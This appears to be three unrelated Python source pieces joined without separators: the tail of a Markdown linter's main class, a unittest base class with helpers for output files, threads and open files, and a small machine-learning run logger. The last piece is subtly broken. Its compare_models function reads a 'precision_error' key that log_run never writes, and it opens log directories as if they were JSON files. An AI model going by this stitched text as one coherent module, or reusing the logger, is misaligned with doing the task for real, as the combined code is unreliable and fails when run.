    ) -> Tuple[bool, List[str], bool, bool]:
        files_to_scan: List[str] = []
        did_error_scanning_files = False
        did_only_list_files = False

        use_standard_in = FileScanHelper.is_scan_stdin_specified(args)
        if not use_standard_in:
            POGGER.info("Determining files to scan.")
            (
                files_to_scan,
                did_error_scanning_files,
                did_only_list_files,
            ) = ApplicationFileScanner.determine_files_to_scan_with_args(
                args,
                cast(
                    ApplicationFileScannerOutputProtocol,
                    self.__handle_file_scanner_output,
                ),
                cast(
                    ApplicationFileScannerOutputProtocol,
                    self.__handle_file_scanner_error,
                ),
            )
        return (
            use_standard_in,
            files_to_scan,
            did_error_scanning_files,
            did_only_list_files,
        )

    # pylint: disable=broad-exception-caught
    def main(self, direct_args: Optional[List[str]] = None) -> None:
        """
        Main entrance point.
        """
        scan_result = ApplicationResult.SUCCESS
        try:
            args = self.__initialize_subsystems(direct_args)

            (
                use_standard_in,
                files_to_scan,
                did_error_scanning_files,
                did_only_list_files,
            ) = self.__find_files_to_scan(args)
            if did_only_list_files:
                if not files_to_scan:
                    scan_result = ApplicationResult.NO_FILES_TO_SCAN
                ReturnCodeHelper.exit_application(scan_result)
            else:
                scan_result = self.__scan_files_if_no_errors(
                    args, use_standard_in, files_to_scan, did_error_scanning_files
                )
        except ValueError as this_exception:
            formatted_error = f"Configuration Error: {this_exception}"
            self.__handle_error(formatted_error, this_exception)
        except Exception as this_exception:
            formatted_error = (
                f"Unexpected Error({type(this_exception).__name__}): {this_exception}"
            )
            self.__handle_error(formatted_error, this_exception)
        finally:
            if self.__logging:
                self.__logging.terminate()
            self.__logging = None

        ReturnCodeHelper.exit_application(scan_result)

    # pylint: enable=broad-exception-caught

# pylint: enable=too-many-instance-attributes

if __name__ == "__main__":
    PyMarkdownLint().main()


import os
import sys
import unittest
import difflib
import threading
import errno
import re
import glob
import io
import logging

try:
    MAXFD = os.sysconf("SC_OPEN_MAX")
except ValueError:
    MAXFD = 256

def rmTree(root):
    "remove a file hierarchy, root can be a file or a directory"
    if os.path.isdir(root):
        for dir, subdirs, files in os.walk(root, topdown=False):
            for f in files:
                os.unlink(dir + "/" + f)
            os.rmdir(dir)
    else:
        if os.path.lexists(root):
            os.unlink(root)

def ensureDir(dir):
    """Ensure that a directory exists, creating it (and parents) if needed."""
    try:
        os.makedirs(dir)
    except OSError as ex:
        if ex.errno != errno.EEXIST:
            raise ex

def ensureFileDir(fname):
    """Ensure that the directory for a file exists, creating it (and parents) if needed.
    Returns the directory path"""
    dir = os.path.dirname(fname)
    if len(dir) > 0:
        ensureDir(dir)
        return dir
    else:
        return "."

class LoggerForTests():
    """test logger that logs to memory, each instance has a new logger"""
    def __init__(self, level=logging.DEBUG):
        self.logger = logging.getLogger(str(id(self)))
        self.logger.setLevel(level)
        self.__buffer = io.StringIO()
        self.logger.addHandler(logging.StreamHandler(self.__buffer))

    @property
    def data(self):
        return self.__buffer.getvalue()

class TestCaseBase(unittest.TestCase):
    """Base class for test case with various test support functions"""

    def __init__(self, methodName):
        """initialize, removing old output files associated with the class"""
        super(TestCaseBase, self).__init__(methodName=methodName)
        clId = self.getClassId()
        od = self.getOutputDir()
        for f in glob.glob("{}/{}.*".format(od, clId)) + glob.glob("{}/tmp.*{}.*".format(od, clId)):
            rmTree(f)

    def getClassId(self):
        """Get the first part of the portable test id, consisting
        moduleBase.class.  This is the prefix to output files"""
        # module name is __main__ when run standalone, so get base file name
        mod = os.path.splitext(os.path.basename(sys.modules[self.__class__.__module__].__file__))[0]
        return mod + "." + self.__class__.__name__

    def getId(self):
        """get the fixed test id, which is in the form moduleBase.class.method
        which avoids different ids when test module is run as main or
        from a larger program"""
        # last part of unittest id is method
        return self.getClassId() + "." + self.id().split(".")[-1]

    def getTestDir(self):
        """find test directory, where concrete class is defined."""
        testDir = os.path.dirname(sys.modules[self.__class__.__module__].__file__)
        if testDir == "":
            testDir = "."
        testDir = os.path.realpath(testDir)
        # turn this into a relative directory
        cwd = os.getcwd()
        if testDir.startswith(cwd):
            testDir = testDir[len(cwd) + 1:]
            if len(testDir) == 0:
                testDir = "."
        return testDir

    def getTestRelProg(self, progName):
        "get path to a program in directory above the test directory"
        return os.path.join(self.getTestDir(), "..", progName)

    def getInputFile(self, fname):
        """Get a path to a file in the test input directory"""
        return self.getTestDir() + "/input/" + fname

    def getOutputDir(self):
        """get the path to the output directory to use for this test, create if it doesn't exist"""
        d = self.getTestDir() + "/output"
        ensureDir(d)
        return d

    def getOutputFile(self, ext):
        """Get path to the output file, using the current test id and append
        ext, which should contain a dot"""
        f = self.getOutputDir() + "/" + self.getId() + ext
        ensureFileDir(f)
        return f

    def getExpectedFile(self, ext, basename=None):
        """Get path to the expected file, using the current test id and append
        ext. If basename is used, it is inset of the test id, allowing share
        an expected file between multiple tests."""
        return self.getTestDir() + "/expected/" + (basename if basename is not None else self.getId()) + ext

    def __getLines(self, file):
        with open(file) as fh:
            return fh.readlines()

    def __getBytes(self, file):
        with open(file, "rb") as fh:
            return fh.read()

    def mustExist(self, path):
        if not os.path.exists(path):
            self.fail("file does not exist: " + path)

    def diffExpected(self, ext, expectedBasename=None):
        """diff expected and output files.  If expectedBasename is used, it is
        used insted of the test id to find the expected file, allowing share
        an expected file between multiple tests."""

        expFile = self.getExpectedFile(ext, expectedBasename)
        expLines = self.__getLines(expFile)

        outFile = self.getOutputFile(ext)
        outLines = self.__getLines(outFile)

        diff = difflib.unified_diff(expLines, outLines, expFile, outFile)
        cnt = 0
        for l in diff:
            sys.stdout.write(l)
            cnt += 1
        self.assertTrue(cnt == 0)

    def diffBinaryExpected(self, ext, expectedBasename=None):
        """diff expected and output binary files.  If expectedBasename is
        used, it is used insted of the test id to find the expected file,
        allowing share an expected file between multiple tests."""

        expFile = self.getExpectedFile(ext, expectedBasename)
        expBytes = self.__getBytes(expFile)

        outFile = self.getOutputFile(ext)
        outBytes = self.__getBytes(outFile)

        self.assertEqual(outBytes, expBytes)

    def createOutputFile(self, ext, contents=""):
        """create an output file, filling it with contents."""
        fpath = self.getOutputFile(ext)
        ensureFileDir(fpath)
        fh = open(fpath, "w")
        try:
            fh.write(contents)
        finally:
            fh.close()

    def verifyOutputFile(self, ext, expectContents=""):
        """verify an output file, if contents is not None, it is a string to
        compare to the expected contents of the file."""
        fpath = self.getOutputFile(ext)
        self.mustExist(fpath)
        self.assertTrue(os.path.isfile(fpath))
        fh = open(fpath)
        try:
            got = fh.read()
        finally:
            fh.close()
        self.assertEqual(got, expectContents)

    @staticmethod
    def numRunningThreads():
        "get the number of threads that are running"
        n = 0
        for t in threading.enumerate():
            if t.is_alive():
                n += 1
        return n

    def assertSingleThread(self):
        "fail if more than one thread is running"
        self.assertEqual(self.numRunningThreads(), 1)

    def assertNoChildProcs(self):
        "fail if there are any running or zombie child process"
        foundChild = True
        try:
            s = os.waitpid(0, os.WNOHANG)
        except OSError as ex:
            if ex.errno != errno.ECHILD:
                raise
            foundChild = False
        if foundChild:
            self.fail("pending child processes or zombies: " + str(s))

    @staticmethod
    def numOpenFiles():
        "count the number of open files"
        n = 0
        for fd in range(0, MAXFD):
            try:
                os.fstat(fd)
            except OSError:
                n += 1
        return MAXFD - n

    def assertNumOpenFilesSame(self, prevNumOpen):
        "assert that the number of open files has not changed"
        numOpen = self.numOpenFiles()
        if numOpen != prevNumOpen:
            self.fail("number of open files changed, was " + str(prevNumOpen) + ", now it's " + str(numOpen))

    def assertRegexpMatchesDotAll(self, obj, expectRe, msg=None):
        """Fail if the str(obj) does not match expectRe operator, including `.' matching newlines"""
        if not re.match(expectRe, str(obj), re.DOTALL):
            raise self.failureException(msg or "'{}' does not match '{}'".format(str(obj), expectRe))


import pandas as pd
import json
import os
import pickle

class Logger:
    def __init__(self):
        self.features = False

    def set_features(self, df):
        """
        :param df: a dataframe
        :return:
        """
        self.features = df.columns

    def log_run(self, log_name, model, precision_score, confusion_matrix=0,
                  cls_report="", notes=""):

        model_name = type(model).__name__
        params = model.get_params()

        log = {}

        log['model_name'] = model_name
        log['log_name'] = log_name
        log['params'] = params
        log['features'] = list(self.features)
        log['precision_score'] = precision_score
        log['confusion_matrix'] = confusion_matrix
        log['classification_report'] = cls_report
        log['notes'] = notes

        dir_path = "logs/" + log_name + "/"

        try:
            os.mkdir(dir_path)
        except OSError:
            print("couldn't create log directory")

        json_path = dir_path + "details.json"
        with open(json_path, "w+") as file:
            json_obj = json.dumps(log, indent=4)
            file.write(json_obj)
            print("logged model")
            file.close()

        model_path = dir_path + "model.pkl"
        with open(model_path, 'wb') as file:
            pickle.dump(model, file)

def compare_models():
    dir = "logs/"

    for filename in os.listdir(dir):
        with open(dir + filename, 'r') as f_log:
            log = json.load(f_log)
            model_name = log['model_name']
            pres_err = log['precision_error']
            print(model_name)
            print(pres_err)
            print("*")